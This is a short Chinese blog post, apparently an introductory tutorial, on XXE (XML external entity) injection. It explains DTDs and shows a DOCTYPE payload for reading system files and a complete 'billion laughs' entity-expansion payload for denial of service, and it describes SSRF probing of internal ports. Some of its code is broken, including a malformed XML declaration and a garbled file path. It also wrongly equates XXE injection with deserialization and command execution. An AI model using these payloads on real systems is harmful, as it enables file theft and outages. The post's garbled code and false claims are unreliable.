zoukankan      html  css  js  c++  java
  • XXE漏洞初窥

    前言:

    XXE Injection即XML External Entity Injection也就是XML外部实体注入攻击.漏洞是在对非安全的外部实体数据进⾏行处理时引发的安全问题.

    XML相关名词科普:

    HTML与XML得区别:
      与HTML不同的是XML可以自定义标签。
      HTML就是简单的制作网页的代码,而XML具有此三个功效:1.数据存储 2.数据传输 3.数据共享
    DTD是什么意思?
      DTD即文档类型定义(Document Type Definition)
    DTD是什么?
      你可以把数据库表结构理解为DTD文档,数据结构理解为XML。
    DTD是干嘛的?
      验证XML文件编写的合法性,也就是一个约束,要求你只能按DTD定义的格式写。

    About Dtd Link of w3cschool:http://www.w3school.com.cn/xml/xml_dtd.asp

    XML基础知识

    http://www.w3school.com.cn/xml/

    目前为止所知所能利用的XXE漏洞大概有一下四种:

      1.任意文件读取   2.DDOS   3.SSRF   4.XXE注入

    一:任意文件读取

    来看一个正常的xml

    <!xml version="1.0" encoding="utf-8">

    <!doctype def SYSTEM “xishaonian.dtd”>

    <root>

    <name></name>

    <age>16</age>

    </root>

    XML在包含DTD文件的时候是使用以下语句来进行包含的

    <!DOCTYPE def SYSTEM "myClass.dtd"> //可以理解为读取myClass.dtd这个文件的内容然乎赋值给def这个变量。

    读取的时候不让他去读取dtd文件而是让她取读系统内部的文件,如此便造成了任意文件读取

    如:

    <!DOCTYPE def SYSTEM "file://etc/password/"> 

     二: XXE注入

      由于不会java所以可能就只是原理性的讲解一下。就不结合代码去讲解了。

      XML可以理解为一个小型数据库,那么势必需要利用到类似sql语句之类的去对数据库进行增删改查。而在XXE当中是使用序列化去写反序列化去读的一个过程。那么如此反序列化只要一有注入就可以达到命令执行的效果。也就是说XML注入就是反序列化漏洞,也就是命令执行。

    三:DDOS

    <?xml version = "1.0"?>
    <!DOCTYPE lolz [
    <!ENTITY lol "lol">
    <!ELEMENT lolz (#PCDATA)>
    <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]>
    <lolz>&lol9;</lolz>

    四:SSRF

          和任意文件读取类似,将dtd文件改为内网ip:端口 如此去探测内网端口的开放情况。该知识点还在拓展中。

    参考文献:

      http://blog.csdn.net/u011721501/article/details/43775691

      https://www.secpulse.com/archives/58915.html

      http://www.91ri.org/9539.html

  • 相关阅读:
    备胎的养成记KeepAlived实现热备负载
    入坑系列之HAProxy负载均衡
    将Error异常日志从普通日志中剥离
    一步一步在Windows中使用MyCat负载均衡 下篇
    年终的第一篇总结 结束南漂 写在2017
    Android实现TCP断点上传,后台C#服务实现接收
    为什么我会反对大家写工作日报
    ANSI C、ISO C、Standard C联系与区别
    c、c++ char*和wchar*互相转换
    宽字符与Unicode (c语言 汉语字符串长度)
  • 原文地址:https://www.cnblogs.com/xishaonian/p/7546886.html
Copyright © 2011-2022 走看看